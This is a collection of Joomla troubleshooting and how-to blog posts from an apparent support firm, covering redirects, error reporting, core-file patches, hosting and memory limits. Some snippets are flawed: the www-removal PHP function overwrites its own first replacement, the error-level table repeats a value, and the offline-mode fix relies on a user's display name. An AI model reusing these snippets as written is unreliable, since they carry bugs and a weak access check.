  • A consistent website will look more professional from a search engine perspective.
  • There will be no non-intended duplicate content on your website (for example, http://www.yourjoomlawebsite/article-1 and http://yourjoomlawebsite.com/article-1 are considered to be duplicate content – although this duplicate content is soft, and is usually not punished by search engines).

Now, how to remove www from your Joomla website URLs?

There are two ways to do this: one by modifying your .htaccess file and another by modifying your index.php file. We recommend modifying your .htaccess file because it’s easier and more efficient and because you won’t have to fiddle Joomla’s core code. Only go for the latter option (index.php) if you don’t have access to your .htaccess file.

  • Removing www using .htaccess

    Simply add the following code to the beginning of your .htaccess file1:

    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^www.yourjoomlawebsite.com
    RewriteRule (.*) http://yourjoomlawebsite.com/$1 [R=301,L]

    (Note: we have discussed redirecting non-www to www before in our article about handling duplicate content on your Joomla website.)

    Once you add the above lines, save the file, and upload it to your root directory. Try going to http://www.yourjoomlawebsite.com/article-1, you will notice that you are automatically redirected to http://yourjoomlawebsite.com/article-1.

  • Removing www by modifying your index.php file

    As stated earlier, you should only modify your index.php if you’re unable, for some (mysterious) reason, to modify your .htaccess file, this is because you will be modifying a core Joomla file, which means that your edits might be wiped out (or affected) by future upgrades.

    In any case, to remove www from your Joomla website URLs, you should add the following code at the beginning of your index.php:

    function redirectURLNoWWW() {
    	$currentURL = "";
    	($_SERVER["HTTPS"] == "on")? $currentURL = 'https://' : $currentURL = 'http://';
    	$currentURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
    	$currentURLNoWWW = str_replace("http://www.", "http://", $currentURL);
    	$currentURLNoWWW = str_replace("https://www.", "https://", $currentURL);
    	if ($currentURLNoWWW != $currentURL)
    		header("Location:".$currentURLNoWWW, TRUE, 301);
    }
    redirectURLNoWWW();
    

Note that there are many 3rd party plugins that will also do the redirection for you, but we just wanted to show you how to do this manually! Doing this manually is sometimes better (especially when doing it through the .htaccess file), because some 3rd party plugins may create conflicts with your website.

If you need help doing the above, then you have found the right place! Just contact us and we’ll take it from there! It usually takes us very little time to do the above and our fees are very reasonable!

1Please note that most GoDaddy servers (at the time of writing this post) do not load the new .htaccess file instantly – and sometimes it might take up to an hour for your .htaccess to take effect.

Admin Page in Joomla Redirects to Homepage

One of our clients Joomla website had weird error today. When going to http://www.ourclientjoomlawebsite.com/administrator, our client was getting redirected to the homepage. We thought the work was easy because it wasn’t the first time we have seen this problem, it was actually the second time.

The first time we saw this problem (where our client’s admin page was redirecting back to the homepage) was a couple of months ago, and after a lot of investigation, we discovered that our client has enabled the JSecure extension and was going to http://www.ourclientjoomlawebsite.com/administrator instead of going to http://www.ourclientjoomlawebsite.com/administrator/?hashkey. Unfortunately, our client did not remember his JSecure hashkey, so we had to reset it for him. We were able to recover his JSecure hashkey the following way:

  • We went to the phpMyAdmin of his database.
  • We then went to the jos_plugins table.
  • We searched for the the keyword JSecure in that table, and then we opened the associated row.
  • The value of Key under the column Params (short for parameters) of that row is the actual hashkey, we sent it to him.

(Note that there was no need to reset the JSecure hashkey/password as it’s stored in clear text)

Now this time it was different, because the client didn’t have JSecure installed at all. We searched for a similar extension, but we couldn’t find any. In fact, our client had a very basic Joomla instance (almost no 3rd party extensions). Eventually we discovered that the problem lied in his .htaccess file, there was a weird redirect on the top of the file (we didn’t know why the redirect was there in the first place). We removed that redirect and the admin login was showing up again.

Please note that the above two scenarios are just the scenarios that we had with respect to this particular problem, there are potentially other issues causing this, so the above might not take care of the problem you’re having. If this is the case, then just contact us! We’re friendly, we’re fast, and we’re always happy to serve. Our rates are also very competitive.

Joomla Split Testing

Split testing is probably one of the best tools that website owners/marketing managers can use to improve conversion rates from their sites. In this post, we will explain what split testing is (while highlighting its benefits) and how to use it on your Joomla website.

What is split testing?

Split testing (also called A/B testing) is a technique used to see which setup leads to more conversions – it can be applied in all industries and it dates back to even before the Internet era (contrary to popular belief). An example of split testing that we see constantly is when a nearby supermarket shuffles its products from one aisle to another or from one shelf to another to see which setup leads to more sales.

Split testing, in the Internet world, is when a website displays a different version of the website for different users. For example, if a website has about 1,000 visitors a day, 500 visitors will see one version of the website, and another 500 will see another version of the website. If there are 4 versions of the website, then 250 visitors will see version A, another 250 visitors will see version B, another 250 visitors will see version C, etc…

So, how do these versions differ from each other?

In most cases, the difference between the versions is the look & feel. So, a flower shop owner, for example, might want to know which design leads to more sales – a white and simple design or a red and artistic design. So, he creates (or asks someone to create) two templates for his website – one that is white and simple and one that is red and artistic. He will then run the versions in parallel – where some visitors will see the white version and others will see the red version. He will then use some tools to know which version converts more.

While changing the look & feel is the most common form of split testing, another form, which is also used a lot, is changing the content. For example, a consultancy website might want to display different about us pages to see which page converts best. In this case, the look & feel is not changed for different versions, just the content of one or several pages.

The last example is the pricing. For example, a business offering online services, such a web hosting business, wants to increase its prices, so its runs two versions of its website, one with the old pricing structure and one with the new one (most likely each pricing structure is associated with a different hosting plan). After several days of testing, the business will be able to conclude whether the increase in price was absorbed by its new users or not. (if the conversion rate for the new pricing model is much lower than the conversion rate for the old pricing model, then most likely the business will not increase its prices). You can think of pricing as just another change in content, but when the different pricing is tied to e-commerce, then the complexity of running the other version(s) is exponentially higher.

Now, let’s get to the main topic of this post: how to do split testing on a Joomla website?.

From our experience, split testing on Joomla is a two part process:

  1. Creating a different version of your website: Usually, the different version has a different template and/or different content and/or different pricing, so the way to do it is to pass a special variable in the URL of your website telling it to use another version, and then, based on that version, Joomla’s core needs to be modified to use a different theme, display different content, or use a different product pricing. (modifying Joomla’s core is a very delicate job and if you don’t have the programming expertise to do it then it’s certainly wiser to call some Joomla experts to do this job for you).
  2. Using Google’s website optimizer: The easiest way to manage split testing (or A/B testing) is by using Google’s website optimizer which can be found here. Google’s website optimizer allows you to implement split testing simply by filling in some forms (on Google’s website) and adding a JavaScript snippet on your website (the snippet will do all the work for you, it will display different versions of your website for different visitors, it will ensure that the same visitor always sees the same version, and it will track data about conversions). Google’s website optimizer also allows you to specify, to track, and to monitor conversions (we’re not advertising for Google, but it really is a very nice, and free tool that very few people know about).

As you can see from the above, there’s some very delicate work to be done on your website and on your Google account. Fear not though, we are happy to say that we have the necessary expertise to do this so we can definitely help you implement split testing on your Joomla website. Just contact us and we’ll take it from there. By the way, Our fees are reasonable and the rewards for doing split will far outweigh your costs!

Error Reporting in Joomla

You might have seen the “Error Reporting” field in your Joomla Configuration Settings, and you might have wondered what it is. In short, the “Error Reporting” field is responsible for controlling the display of errors on your Joomla website. In this post, we’ll discuss what should be the default error reporting on your website, when to change the error reporting level, and what does each and every error reporting level mean (and do).

What should be the default error reporting on your Joomla website?

On any production Joomla website, the error reporting that should be used is “None”. This means that no errors are displayed on your website, regardless of the default settings on your hosting account. Preventing errors from being displayed on your production Joomla website is critical for the security of your website. This is because errors displayed can reveal some critical information about your website, including, but not limited to: the absolute path of your website (such as /var/hosts/youraccountname/public_html/yourjoomlawebsite), MySQL queries sent to your database server (revealing part of your database structure), the type of extensions you’re installing, etc… Some errors might reveal very critical information such as the database username and the database password. When Joomla is first installed, its default error reporting is “System Default”, this means that any error reporting in the global (or local) php.ini file will be inherited by your Joomla application. So, if the error reporting in the php.ini file is E_ALL, then the error reporting on your Joomla website will be E_ALL (which means that all the errors will be displayed to your visitors) – needless to say, the first thing that you need to do when you make your Joomla website live is changing the error reporting to “None”.

When to change the error reporting?

The error reporting should be changed from “None” to anything else only when you are seeing a blank page on your website and/or you are debugging your website. When doing so, we recommend that you create a condition in the index.php file to show the website’s content only for your IP (visitors to your website should see a blank page). This will ensure that only you will be able to see the errors on your website. Once you see the errors on your website, you should fix them, and then change the error reporting back to “None”.

What does each and every reporting mean?

Here are all the error levels on Joomla, along with a description:

  • None: All errors are suppressed. When you set the error reporting to “None”, then no errors are shown whatsoever on the website – except when 3rd party extensions override the Joomla error reporting settings with their own settings.
  • System Default: Joomla will inherit the error reporting from your php.ini. So, if php.ini‘s error_reporting variable is set to E_ALL and the display_errors variable (in php.ini) is set to 1, then Joomla will display all the errors on your website (not good!).

  • Simple: Joomla will display only the warnings and the fatal errors on the website (regardless of what the error reporting level in the php.ini file is). Basically all errors will be displayed with the exception of the notices.

  • Maximum: Joomla will display all the errors, warnings, notices, deprecated functions calls, and strict standards on the website (again, Joomla will ignore the settings in the php.ini file). Note that when you display the notices/deprecated function call/strict standards you may break pages that were already working before.

Addendum: How to manually change the error reporting in the configuration.php file

Sometimes, it’s more fun/convenient/expedient/practical to change the error reporting in Joomla’s configuration.php file directly (without using the interface). This will allow the administrator to have a more granular control over the level of errors that s/he wants to see on the website.

The important thing to remember here is that the value of the $error_reporting in the configuration.php file is the numerical value of PHP’s error constants (such as E_ALL, E_WARNING, E_NOTICE, etc…). See the below:

$error_reporting PHP equivalent Errors displayed on the website
32767 E_ALL | E_STRICT All errors, warnings, notices, and strict standards
30719 E_ALL All errors, warnings, notices
30711 E_ALL & ~E_NOTICE All errors, warnings, but no notices
30711 E_ALL & ~(E_NOTICE|E_WARNING) All Errors. No warnings or notices.
-1 0 No error reporting at all.

Note: Some PHP versions differ in how error constants are evaluated. For example, for PHP versions that are >= 5.4.0, E_STRICT is part of E_ALL. If you want to know the actual $error_reporting value for your environment, it’s better to create a test.php file where you echo the value of your error reporting (for example: echo(E_ALL);), upload it to the server, and see what it prints.

If you’re having problems with your Joomla website and you need help, then all you need to do is to contact us. We’re very helpful, we’re always available, we’re very experienced in PHP and in Joomla, and we’re very friendly. Our services are reasonably priced too! What more could you want?

How to Have a Flash Intro on Your Joomla Website

One of our clients wanted to display a Flash intro on her Joomla website. She had the Flash intro but she didn’t know how to add it to the website – she wanted her visitors to first see the Flash intro and then get redirected to the actual Joomla website either automatically or by clicking on an “Enter Website” link in the flash intro itself.

Now, this seems to be a trivial task, all one needs is to create an index.html file, include the flash intro in that index.html, and redirect to index.php from within the Flash movie once the page is fully loaded. Right? Well, as usual, nothing is as easy as it seems…

This is because in many cases, the above will not work, or will cause problems with your website, here’s why:

  • Your DirectoryIndex gives index.php the highest priority, which means that index.php will be the first file to get executed, and then index.* (* might htm, html, or any other file extension), which, in its turn, means that your index.html (and subsequently your flash intro) will never be served to your visistors.
  • In your Joomla website, you have your homepage set to http://www.yourjoomlawebsite.com/, which means that if the above works, everytime people click on the homepage link they will see the flash intro again (which can quickly become annoying and can reduce conversions).

Here’s how to handle the problems above:

  • In order to ensure that index.html is the default index file for your Joomla website, you will need to add the following code to the beginning of your .htaccess file (this file is located in the root directory of your website):

    DirectoryIndex index.html index.php

    The above code will first run the index.html, which then calls the index.php from within the Flash movie. This way people will be able to see your flash intro.

  • As for the second problem, then you will need to make sure that the homepage link always points to index.php. You can do this by going to the Menu Item Manager for the Main Menu, and then changing the Menu Item Type of the Home‘s menu item to External Link, and then setting the Link value of that External Link to index.php. This will force the website to go to the homepage of the Joomla website (and not index.html) when someone clicks on Home.

    Another way for addressing the above problem is by using cookies. So, when someone accesses the website for the first time he will see the flash intro, but once he does that, the index.html file will set a cookie on his browser (let’s call it flash_played) that tells the browser that the flash introduction had already been played. Now, when the person goes to the homepage again, the index.html will see that the cookie flash_played is set to 1, so it will skip the flash intro and will redirect to the index.php file. Keep in mind that there are two downsides for this solution:

    1. It will not work for those who have disabled cookies on their browsers.
    2. Visitors will only be able to see the flash intro once (because future hits on the index.html will automatically redirect them to the index.php without even displaying the flash intro). This problem can be solved by placing another Menu Item in your Main Menu of type External Link that will redirect to http://www.yourjoomlawebsite.com?replay_intro=1, and by modifying your index.html to check for the value of the replay_intro GET variable, if it’s 1 then the index.html file will replay the flash intro, regardless of whether the cookie flash_played was set to 1 or not. This means, however, that people need to click on a link to see the flash intro again.

    We personally think that the above method is cumbersome and inefficient and it’s better (and simpler) to solve this problem by pointing the homepage of your website to index.php

We realize that doing the above can be a bit intimidating, especially if you don’t have the necessary programming experience to do it, and that’s why we’re here to help! Just contact us and we’ll be more than happy to do the above for you. By the way, our fees are very reasonable, so you don’t have to worry about that!

Menu Item Manager Empty in Joomla?

While working on one of our clients’ website (her version of Joomla was 1.5.14, but we think that this problem applies to all 1.5.x versions where x is less than 20), we noticed that the Menu Item Manager in Joomla’s backend had 0 men items, although the menu items existed as they were appearing on the website. This means that there is a (most likely) PHP script error that is causing the menu items not to appear on this page. So, what we did was that we turned on Error Reporting on the Global Configuration page to see whether the page had any (hidden) PHP errors.

Sure enough, when we turned on error reporting, we went back to the Menu Item Manager page and we saw the following errors:

Warning: Parameter 4 to JHTMLMenu::treerecurse() expected to be a reference, value given in /ourclientjoomalwebsite/libraries/joomla/html/html.php on line 87
Warning: array_slice() expects parameter 1 to be array, null given in /ourclientjoomalwebsite/administrator/components/com_menus/models/list.php on line 143
Warning: Invalid argument supplied for foreach() in /ourclientjoomalwebsite/administrator/components/com_menus/models/list.php on line 147
Warning: Invalid argument supplied for foreach() in /ourclientjoomalwebsite/administrator/components/com_menus/views/list/view.php on line 65
Warning: Invalid argument supplied for foreach() in /ourclientjoomalwebsite/administrator/components/com_menus/views/list/tmpl/default.php on line 69

As programmers, we know that usually the first problem is the cause of the rest of the problems, so, fixing the first problem may fix the other problems as well. That’s why we went to the file html.php which is located under the /ourclientjoomalwebsite/libraries/joomla/html/ directory. Here’s the code that we found at line 87:

return call_user_func_array( array( $className, $func ), $args );

Obviously, the function expects the second parameter to be passed by reference, and since we don’t care about the $args parameter after the function gets executed, we can safely pass it by reference to fix the problem (passing by reference means that any alterations to the parameter in the function are permanent, for example, if inside the function we set $args to NULL, then $args will be changed to NULL even when the function is finished executing). So, in order to fix the first problem, we changed the above code to the below:

return call_user_func_array( array( $className, $func ), &$args );

(Notice the & before $args.)

Surprise, surprise! After uploading the html.php file with the above change, everything started working again. The menu items appeared and we don’t see any other error on this page.

But why was the Menu Item Manager empty in the first place?

Usually this happens because of a PHP upgrade done on your server (most likely by your hosting company). Usually PHP/MySQL updates to your server can mean trouble to your Joomla website. Such updates, especially if your Joomla website is very old, can make your website fully dysfunctional.

If you have problems doing the above, or if you don’t have the necessary programming expertise to do so, then fear not, we’re here to help. Just contact us and we’ll do the work for you in no time. We’ll only charge you an hour for doing the above (see our reasonable fees) and we’ll also check if you have other problems on your website resulting from the PHP upgrade.

Note added on 1:50 PM 17/03/2014 EST: Newer versions of PHP will no longer accept this solution, and will throw the following error: “Fatal error: Call-time pass-by-reference has been removed”. If you get this error, then you will need to fix the calling function rather than the function call (we know – it’s confusing). In short, you will need to open the file menu.php, which is located under the /libraries/joomla/html/html folder, and change this line:

function treerecurse( $id, $indent, $list, &$children, $maxlevel=9999, $level=0, $type=1 )

to:

function treerecurse( $id, $indent, $list, $children, $maxlevel=9999, $level=0, $type=1 )

Behold the missing ampersand in the solution. This should fix the problem. Note that you should not apply this fix in conjunction with the fix described above, or else it will not work.

What Is Joomla’s Ideal Hosting Environment?

One of the first questions that our new customers ask us is: “What is Joomla’s ideal hosting environment?”. They usually ask us this question out of frustration with their current hosting provider: they have done everything they could to optimize their Joomla website – they have even followed our advices on how to make a Joomla website faster, yet their Joomla website remains slow, very slow! And now they believe that the problem lies with their hosting, and not with Joomla itself. They are right…

You see, there are two things that you need to know about Joomla (when it comes to its hosting environment):

  • Not all hosting environments are suitable for Joomla.
  • The hosting environment can have dramatic (positive or negative) effects on your Joomla website.

So, what are the things that make an ideal hosting environment for a Joomla website? In no order of importance, here they are:

  1. Using cPanel: cPanel makes everything a breeze. It has an intuitive interface, it is really easy to spot any performance issues when using it, and its footprint on the server is very light (it has a negligible overhead). Plesk, on the other hand, is the worst platform to run Joomla on (regardless of what you’re hosting provider tells you) – if we had a dime every time we get a new Joomla customer who’s having a problem because of Plesk, we’d be billionaires (well, not really, but you get the point). Plesk generates a lot of problems for Joomla, from incompatible modules to wrong permissions, to wrong hacks done here and there by other developers trying to fix issues that were caused by Plesk in the first place. Avoid at all costs!
  2. Using Lite Speed as a web server: Lite Speed is a lighter and much faster web server than Apache. A Lite Speed server will increase the speed of your Joomla website often by a 100% (or even more). The only two downsides of Lite Speed is that it costs extra (well, not that much, it’s really $10-$20/month extra) and that not all hosting providers support it.

  3. Using memcached: You might have noticed that one of your caching options in Joomla is memcached. Memcached is a memory object caching system that will use memory to cache your Joomla database calls, as well as your Joomla rendered pages (among other things). This will dramatically increase the speed of your Joomla website.

  4. Using a PHP accelerator: There are 3 major PHP accelerators which are APC, eAccelerator, and xcache. Installing one of them on the server hosting your Joomla website will greatly increase your website’s speed. Note that APC is probably the best choice, and that’s why it’s going to be included in PHP6. eAccelerator is good (some say it’s faster than the other two), but it seems that it’s no longer actively supported.

  5. Running PHP as a DSO module: Most PHP implementations out there run as SuPHP. While the latter is more secure, the PHP DSO module is much faster and you won’t have any security issues with it if you follow our security tips for your Joomla website.

  6. Having your own dedicated server: We can’t insist enough on the importance of having your own dedicated server to host your Joomla website. Doing so will ensure that the speed of your website is not adversely affected by other websites (that may or may not belong to you and may or may not be resource-hungry) that are hosted on the same server. It’s also much better for your security. A VPS is a good and affordable choice in case your Joomla website only gets a few hundred visitors a day. Shared hosting should be avoided whenever possible.

  7. Not hosting with your programmer/designer: This will not necessarily enhance the performance of your website, but it’ll make you sleep better at night. The thing is your programmer or designer is an individual, and not a company – he may find a full-time job and decide that he no longer wants your business, he may not want to work with you anymore (personal issues), he may put your website with literally hundreds of other sites on the same server, he might stop paying his server fees, he may even die! (what will happen to your website then?) We always advise our customers to avoid hosting with their developers/designers and opt for a real and decent hosting solution instead.

If you need help implementing the above then we can do it for you. Just contact us and you’ll see how friendly, caring, responsible, and motivated we are when working on your website. Our rates are very reasonable too. Oh, and did we mention that we are very nice people to work with?

Joomla Website Does Not Go Offline!

We were working on a very weird problem on a Joomla website this afternoon. The owner of the website told us that he wanted his website to be “offline”, so he went to Joomla’s configuration settings and set the “Site Offline” flag to “Yes”. He told us that even though he did that, his website was still working (it wasn’t showing the offline page). The first thing that we told him to do is to logout (as admin) and see if the problem persists (Joomla is intelligent enough to allow logged in administrators to view the website even if it’s offline) – he did that and the problem was still there.

We then checked the website ourselves, and made sure that the settings were being saved properly in the configuration.php file. They were! So how come the website still shows up? We investigated further and our investigation led us to a file called application.php located under the includes folder, specifically the render method on the JSite class in that file, where there is a check if the offline flag is on or off. If the website is set to be offline, then this function call$this->getCfg(‘offline’) should return a value equivalent to true. We did some tests and the function was indeed returning true. What are we missing?

We then checked the part that actually displays the “Website Offline” message, and it was encapsulated in this condition:

if ($this->getCfg('offline') && !$user->authorise('core.login.offline')) {

If $this->getCfg(‘offline’) was returning true, this means that the other part of the function was returning false, which means that !$user->authorise(‘core.login.offline’) was returning false, which means that $user->authorise(‘core.login.offline’) was returning true. So the key was to check the authorize method on the $user object.

After a lot of investigation, we concluded that the permissions for the user groups on that Joomla site were wrong – we fixed them. This is because the function authorize above should return false, while it’s returning true.

If you’re having hard time fixing the permissions (they can be very tricky), then a quick fix to the problem is changing the above line to the following:

if ($this->getCfg('offline')) {

Doing so, however, will make the website appear offline for you even if you are a Super User – a better way for the quick fix would be changing the above line to the below:

if ($this->getCfg('offline') && ($user->name != "Super User")) {

Please note that the application.php is a core Joomla file – so any change there will affect your whole website – and may make it inoperable. Be very careful when working with this file – if you have any doubts – then don’t touch it and contact some Joomla Experts to do the work for you.

If you still can’t turn off your Joomla website then your problem lies elsewhere or it might be that you’re having problems adding the above code to your application.php file. In any case, then feel free to contact us, we are always happy to serve and our rates are very, very affordable! (…and we are very friendly!)

How to Remove Joomla’s Favicon

Please note that this post will only show you to remove Joomla’s default favicon from your website. Check this post on how to add a favicon to your Joomla website.

Many Joomla websites still have the default Joomla’s favicon (favorite icon). Of course, they don’t have it by choice, they have it because Joomla, by default, adds this favicon to any new Joomla website. Here’s how (the much disliked) Joomla’s favicon looks like:

Joomla's Favicon
Figure 1: The Joomla Favicon

Now how you can remove the Joomla’s favicon from your website once and for all?

In order to do so, you need to do the following (this is the easiest and most straightforward way and it always works):

  1. Go to your public website (such as yourjoomlawebsite.com).
  2. Right click anywhere on your homepage, and then click View Page Source if you are on Firefox or Chrome, or click on View Source if you are on IE. Once you do that, a new page opens containing the HTML source code of your website.

  3. Now search for the word shortcut icon in your HTML source, and you will find a line like the following:

    <link rel="shortcut icon" href="http://www.yourjoomlawebsite.com/some-directory/favicon.ico" type="image/x-icon" />

  4. FTP to your website, and then go to the some-directory folder, and then delete the favicon.ico file.

  5. Delete the cache.

  6. You’re done! Please note that Firefox caches the favicons, and it does take it a while for it to refresh the cache. As far as we know, there is no easy way to force Firefox to refresh the cache for favicons. So, make sure that you test your website on Chrome first in order to check that the favicon has been successfully removed.

Now, you might be also wondering how to remove the favicon for the administrator’s part of Joomla (Joomla’s backend). If you want to do that, then you can just go to http://www.yourjoomlawebsite.com/administrator instead of http://www.yourjoomlawebsite.com/ and follow the steps above, or you can just delete the file favicon.ico located under /public_html/administrator/templates/khepri/.

If you need help removing your Joomla’s favicon, then you can always contact us. This a straightforward job and we’ll do it in no time. By the way, our rates are very affordable.

Assigning Articles to Multiple Categories in Joomla

One of the common questions that we get from owners of advanced Joomla websites is how to assign articles to multiple categories in Joomla. Our immediate answer to this question is that by default, Joomla does not allow assignment of an article to multiple categories (or sections). The answer we typically receive is “Why”, and “Is there a way to overcome this limitation?”. Let’s discuss each of these separately…

Why doesn’t Joomla allow the assignment of an article to more than one category?

One of the main reasons for this is SEF: By default, Joomla adds the category alias of the article to the URL. If Joomla allows you to assign your article to multiple categories, then which category alias should Joomla to display in the URL?

Another problem associated with the allowing of an article to have multiple categories is to avoid confusion. If a Joomla website owner who doesn’t have a lot of experience in Joomla decided to add his article to multiple categories, then his article will appear in several places on his website (which may or may not be what he desires).

Is there a way to overcome this limitation?

Jooma’s official website recommends a very bad way for dealing with this limitation, which is creating a duplicate article under the different category, which means that if you want to assign an article to 3 categories, then you have to create, and maintain, 3 versions of the same article. This will quickly turn into a nightmare if you have lots of articles on your website.

So, is there a better way to do this?

Yes, of course there is a better way – but it needs PHP programming on your Joomla website. What you can do is that you can modify the interface for the creation of a new article to allow users to select multiple categories (by changing the type of the select HTML tag containing the different categories to a list).

Modifying the interface is of course the first part, you will then need to modify the code that handles the adding and the displaying of the page on the website – not to mention, of course, slightly modifying the database structure for the join table between the categories and the articles.

Now here are several challenges and how to overcome them:

  • How will SEF handle multiple categories? The key here is to create a function that will return the id of the first category that is assigned to the article. Of course, there is a caveat here that categories with lower IDs will appear most in the articles’ URLs. So, you should give your most important categories the lowest IDs. Now there’s always a way to go around this limitation, and it is by creating a new field called category weight in URL, which will be used when choosing the category to appear in the SEF (the category ID with the highest weight will be chosen – if there are two categories that have the same highest weight, then the category with the lowest ID will appear first).
  • How to avoid negative effects on the SEO of the website? When you have the same content appearing multiple times under different links, then you will have a problem with SEO (in fact, it is very possible that your website will be automatically flagged as a spam website by search engines which may penalize you). The solution to this problem is to always use the same URL with the same category to point to an article.

  • Will there be conflicts with 3rd party extensions? Some (badly coded) third party extensions might not expect this change in the core. These extensions need to be modified so that they can still work under this change.

  • Will the template still work? Same as 3rd party extensions, some templates need to be modified in order to accommodate this change.

As you can see, something that you initially thought of as a simple task in Joomla was not that simple after all. It needs some modifications to your Joomla’s core and database, as well as some potential modifications to some of its template and some of its extensions. If you find this job to be intimidating, then fear not, we are here to help. Just contact us and we’ll do all the work for you so that you’ll be able to assign your article to multiple categories. Our rates are very cheap so you don’t have to worry in that area! And we are very, very friendly!

How to Remove the Category Name from the URL in Joomla

Let’s say that you are creating an article called “Privacy Policy” on your Joomla website. You add the article to your website, and the article’s URL becomes like this (if you have SEF enabled):

http://www.yourjoomlawebsite.com/uncategorized/privacy-policy

As you can see, the name of the category, which is uncategorized, is automatically added to the URL of the article. Now you think a bit, and decide to add the article under a category called general, you check the link again and it’s something like:

http://www.yourjoomlawebsite.com/general/privacy-policy

Hmmm…. But you need to get rid of the category name from the URL altogether, whether it’s uncategorized, general, or any other category name. So you try to search for such a setting in Joomla’s configuration settings, but you find nothing. You then try to fiddle with your .htaccess file, but that doesn’t work either. Finally, your research the problem on Google, and you find that many other people have the same issue, and they have been, so far, unsuccessful in getting rid of that category name from the URL.

Now there are two ways to solve this problem, the easy way and the hard way.

The easy way consists of creating a category called “Privacy Policy”, adding the content of your current “Privacy Policy” article to the description of this category, deleting your “Privacy Policy” article, and finally creating a menu item that links directly to the category (the menu item must be of type Category Blog Layout). If you do this, your link will be as follows:

http://www.yourjoomlawebsite.com/privacy-policy

As you can see from the above, creating a category and pointing the menu item to a category instead of an article will solve the problem. The main advantage of this method is that is very fast and very efficient – the main disadvantage is that it can make your content disorganized (any staff member who wants to edit the privacy policy will be lost because he’ll not be able to find it in the Article Manager).

Now, the hard way is much more advanced and requires you to do the following:

  • Modify Joomla’s SEF core files in order to remove the category name from the URL. (Note: There are several files that need to be changed.)
  • Ensure that the change you’ve done above is accommodated in your .htaccess file.
  • Ensure that you don’t break any functionality with this code change.

Needless to say, the above is really delicate and complicated to do (not to mention that it requires modification to Joomla’s core, which makes your website very challenging when it comes to upgrades), and we advise you to only do it if you have some very solid PHP programming skills or if you hire some Joomla experts to do it for you. In any case, we personally recommend you go with the first option, unless your website has a lot of data and a lot of categories.

Now If you need any help removing the category name from the URL, then you can just contact us. We’re always here for you, we are fast, we are friendly, we are fun to work with, we are courteous, and we don’t charge much!

Stuck on the Language Selection Page (Joomla 2.5.2)

We often do Joomla installation for our clients – usually the process is really fast. We first upload the zip file to the server, we extract it there, we create the database, and then we point our browser to http://ourclientjoomlawebsite.com, and we follow the installation process! That’s it! The process was always smooth for all Joomla versions: 1.5.25, 1.6, 1.7, and 2.5.2. However, today was different…

While trying to install Joomla 2.5.2 for one of our clients on his dedicated server, the installation process got stuck on the language selection page. Here’s the screen that we saw:

Joomla 2.5.2 installation stuck on the language selection page

Figure 1: Joomla 2.5.2 installation stuck on the language selection page

For some reason, the spinning wheel keeps spinning forever when you click on Next on the top right when you’re in the language selection screen. Obviously, this is blocking the whole Joomla installation from happening.

Some wrong theories (that we’ll debunk) about the cause of this problem are:

  • The PHP version on the server is not compatible with the version of Joomla that you’re trying to install: This theory is wrong, for the simple reason that Joomla will automatically detect the PHP version on the first step and will block the installation if your PHP version is not compatible with the version of Joomla that you’re trying to install.
  • The PHP installation on the server does not JSON support and Joomla’s installation needs JSON: This theory is wrong because Joomla’s installation is smart enough to select which version of the install it should run (setup.json.php or setup.php, depending on whether your PHP installation has JSON support or not). Note that JSON support is required for Joomla 2.5.2, but it will not cause this problem. In case you don’t have JSON support, then the install will stop at step #2 of the installation process.

  • The server doesn’t have enough free disk space to install Joomla: We had more than ample disk space on the server when we had this problem.

Now after going through each and every file of the installation process and checking what’s going on, we discovered that the problem relates to Joomla’s installation process’ inability to write to the file system – in other words, the problem relates to permission issues on the server.

After digging further, we discovered that the main user of the hosting account cannot FTP to the Joomla website – which was the real source of the problem. Once we fixed the permission issues associated with that user, everything worked fine. Joomla’s installation proceeded normally and our client was happy!

If you are getting stuck on the language selection page when installing Joomla and you need help, then just contact us, and we’ll fix it for you in no time (and our fees are not expensive at all!).

“Allowed Memory Size of x Bytes Exhausted” Error on Joomla

On one Sunday afternoon, you might decide to spend a lot of time browsing your Joomla website, just to make sure that all the pages are working fine. 15 minutes later, you see the following error:

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 5298178 bytes)

What happened for you to see this error, what is the cause of this error, how can you solve it immediately, and how can ensure that it won’t happen again?

What happened?

The allowed memory size is not a Joomla error, it’s a PHP error (here’s a list of all the possible errors that may occur on a Joomla website). It happens when PHP needs more memory to run your scripts, but is unable to allocate more memory because its available memory limited to 128 MB (128 MB = 134217728 bytes – note that 128 MB is just an example, your memory limit might be smaller or higher). By default, the memory limitation is determined in the php.ini file.

What is the cause of this problem?

Joomla is a memory hungry CMS, and sometimes it takes a lot of memory to process a page, especially if that page contains many 3rd party extensions that are also heavy on the memory. On a recent job, the customer was using an extension that was creating an array out of a 200,000 row MySQL table. The extension author was not aware that his extension will be used to process such a large amount of data, and thus has not optimized it. Naturally, our customer was running into the “Allowed memory size…” error every time the extension ran.

How can this problem be solved immediately?

The fastest and most expedient way to solve this problem is by increasing the PHP memory limit. The PHP memory limit can be increased in one of the following 4 ways:

  1. Increasing the PHP memory limit at the server level (global php.ini): This can only be done if your website is running on a dedicated server or on a VPS. What you do is that you edit the php.ini file and change the memory_limit value to a larger amount. Once you do that, you will need to restart Apache in order for the changes to take effect.
  2. Increasing the PHP memory limit at the application level (local.php.ini): This can be done by just making a copy of your global php.ini, changing the memory_limit value to a larger amount, and then uploading the modified copy to the root directory of your Joomla website (e.g. /public_html/ or /public_html/yourjoomlawebsite.com/). (You will need the server administrator to send you the global copy of php.ini in order to do this.)

  3. Increasing the PHP memory limit at the .htaccess level: This can be done by adding the below line to the beginning of your .htaccess file (which is located in the root directory of your website):

    php_value memory_limit 512M

    The above code will increase the PHP memory limit to 512 megabytes.

  4. Increasing the PHP memory limit at the code level: This can be done by adding the following line to your beginning of your index.php (which is located in the root directory of your Joomla website – do not add it to your configuration.php, because any change in your configuration settings will overwrite your configuration.php and your custom changes will be lost):

    ini_set('memory_limit', '512M');

Now what is the best way to increase the memory limit? We believe the best way to increase your memory limit is either by doing it in the index.php file or in the .htaccess file. This will ensure that if you decide to switch hosting companies, then your PHP memory settings will remain the same.

How to ensure that you won’t see the problem again?

Increasing the memory limit will not address the underlying issue causing this problem, which is bad code. The best way to solve this problem once and for all is to optimize the code causing your Joomla website to exhaust all the memory allocated for the PHP instance. In some cases, increasing the memory limit alone will not solve the problem at all (you will still see the fatal error). In this case you will need to fix the code.

Are you seeing the “Allowed Memory Size…” error on your website without being able to get rid of it? If this is the case then fear not, we’re here to help! Just contact us and we’ll solve it for you in no time – and rest assured: our work will not cost you much!

How to Create an E-Commerce Website from Scratch with Joomla

